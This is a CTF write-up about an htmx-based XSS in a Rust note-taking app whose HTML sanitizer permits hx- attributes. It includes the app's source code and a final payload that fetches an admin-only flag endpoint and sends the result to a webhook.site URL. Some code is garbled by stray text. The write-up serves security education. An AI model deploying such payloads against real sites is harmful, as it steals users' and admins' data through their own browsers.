XSS using hx- attribute to fetch the flag from /api/note/flag.
Challenge points: 88 No. of solves: 88 Solved by: ma1f0y,lu513n,L0xm1
Challenge Description
We’re excited to announce our new, revolutionary product: A note-taking app. This phenomenal product uses the most up-to-date, bleeding-edge tech in order to stay ahead of all potential security issues. No-one can pwn us
use axum::{ extract::Multipart, extract::Path, headers::Cookie, http::{header::LOCATION, HeaderMap, HeaderValue, StatusCode}, response::Html, routing::{get, post}, Form, Router, TypedHeader, }; use serde::Deserialize; use std::{fs, io::Read}; use tower_http::services::ServeDir; use maplit::hashset;
#[tokio::main] asyncfnmain() { // build our application with a single route let app = Router::new() .route("/", get(home)) .route("/create", get(create)) .route("/report", get(report)) .route("/note/:note", get(note)) .route("/api/report", post(take_report)) .route("/api/note/:note", get(get_note)) .route("/api/note", post(upload_note)) .nest_service("/static", ServeDir::new("public/static")); // run it with hyper on localhost:3000 let server = axum::Server::bind(&"0.0.0.0:3000".parse().unwrap()).serve(app.into_make_service()); println!("🚀 App running on 0.0.0.0:3000 🚀"); server.await.unwrap(); }
// which calls one of these handlers asyncfnhome() -> Html<String> { Html(fs::read_to_string("public/index.html").expect("Missing html files")) }
asyncfnreport() -> Html<String> { Html(fs::read_to_string("public/report.html").expect("Missing html files")) }
asyncfncreate() -> Html<String> { Html(fs::read_to_string("public/create.html").expect("Missing html files")) }
asyncfnnote() -> Html<String> { Html(fs::read_to_string("public/note.html").expect("Missing html files")) }
//API asyncfnget_note( Path(note): Path<String>, TypedHeader(cookie): TypedHeader<Cookie>, ) -> Result<Html<String>, (StatusCode, &'staticstr)> { if ¬e == "flag" { letSome(name) = cookie.get("session") else { returnErr((StatusCode::UNAUTHORIZED, "Missing session cookie")); }; if name != std::env::var("ADMIN_SESSION").expect("Missing ADMIN_SESSION") { returnErr(( StatusCode::UNAUTHORIZED, "You are not allowed to read this note", )); } returnOk(Html(fs::read_to_string("flag.txt").expect("Flag missing"))); } if note.chars().any(|c| !c.is_ascii_hexdigit()) { returnErr((StatusCode::BAD_REQUEST, "Malformed note ID")); } letOk(note) = fs::read_to_string(format!("public/upload/{:}", note)) else { returnErr((StatusCode::NOT_FOUND, "Note not found")); }; Ok(Html(note)) }
asyncfnupload_note( mut multipart: Multipart, ) -> (StatusCode, Result<HeaderMap<HeaderValue>, &'staticstr>) { letmut body: Option<String> = None; whileletSome(field) = multipart.next_field().await.unwrap() { letSome(name) = field.name() else { continue }; if name != "note" { continue; } letOk(data) = field.text().awaitelse { continue; }; body = Some(data); break; } letSome(body) = body else { return (StatusCode::BAD_REQUEST, Err("Malformed formdata")); }; if body.len() > 5000 { return (StatusCode::PAYLOAD_TOO_LARGE, Err("Note too big")); } let safe = ammonia::Builder::new() .tags(hashset!["h1", "p", "div"]) .add_generic_attribute_prefixes(&["hx-"]) .clean(&body) .to_snote/bab8ac3ff29e46f9e5ae1be75bc4e6f6c608214fc4ada541194404c5150f86e9tring(); letmut name = [0u8; 32]; fs::File::open("/dev/urandom") .unwrap() .read_exact(&mut name) .expect("Failed to read urandom"); let name = String::from_iter(name.map(|c| format!("{:02x}", c))); fs::write(format!("public/upload/{:}", name), safe).expect("Failed to write note"); ( StatusCode::FOUND, Ok(HeaderMap::from_iter([( LOCATION, format!("/note/{:}", name).parse().unwrap(), )])), ) }
asyncfntake_report(Form(report): Form<Report>) -> Result<String, (StatusCode, &'staticstr)> { let params = [("link", report.link), ("recaptcha", report.captcha)]; let client = reqwest::Client::new(); let res = client .post(format!( "http://{:}", std::env::var("BOT_HOST").expect("Missing BOT_HOST") )) .form(¶ms) .send() .await .expect("Can't request bot"); if res.status() != StatusCode::OK { returnErr((StatusCode::BAD_REQUEST, "Report failed")); } Ok( std::fs::read_to_string("public/static/fragment/report_success.html") .expect("Missing fragment"), ) }
In the get_note() function, it checks if the path is equal to /note/flag , and checks the session is equal to admins’ session then the flag is returned else “You are not allowed to read this note” message ****is returned. So only an admin can visit the /note/flag endpoint.
In the upload_note() function, sanitization is applied on the body of the note using the ammonia parser. Ammonia is a whitelist-based HTML sanitization library in rust https://github.com/rust-ammonia/ammonia/ .
1 2 3 4 5
let safe = ammonia::Builder::new() .tags(hashset!["h1", "p", "div"]) .add_generic_attribute_prefixes(&["hx-"]) .clean(&body) .to_snote/bab8ac3ff29e46f9e5ae1be75bc4e6f6c608214fc4ada541194404c5150f86e9tring();
In the above code snippet, only <h1><p> and <div> is allowed. Also any attribute starting with hx- will be allowed.
In the given source code, htmx library https://htmx.org/ is used, which is used for building web applications with native JavaScript.
hx-get → htmx fetches content from /api/note endpoint.
hx-on:config-request→ Sets up an event handler for the “config-request” event. When this event is triggered, the provided JavaScript code will be executed.
hx-trigger→This attribute specifies when the request should be triggered.
hx-target→ Specifies where the response from the server should be placed in the DOM.
We can use hx-on to execute the javascript code. Since <div> and hx- is allowed in the ammonia parser, we can use this to get xss.
Final Payload Create a note with the following content.
hx-get="/api/note/flag" → to fetch the content from /api/note/flag
hx-on::load="fetch('/api/note/flag').then(x => x.text()).then((x)=>location='https://webhook.site/7a888fca-6ff6-48d0-b2af-33f47ab05ab5?x='+encodeURIComponent(x)) " → the content from /api/note/flag is fetched and sent to my webhook with the response as a query parameter.
Report the note link to /report endpoint. When the admin visits the note, content from /api/note/flag is fetched and sent to my webhook as a query parameter.
1
Good job user, <br> here's your flag. <br><br> flag{C3r34l_1s_s0up_l1k3_1f_4gr33}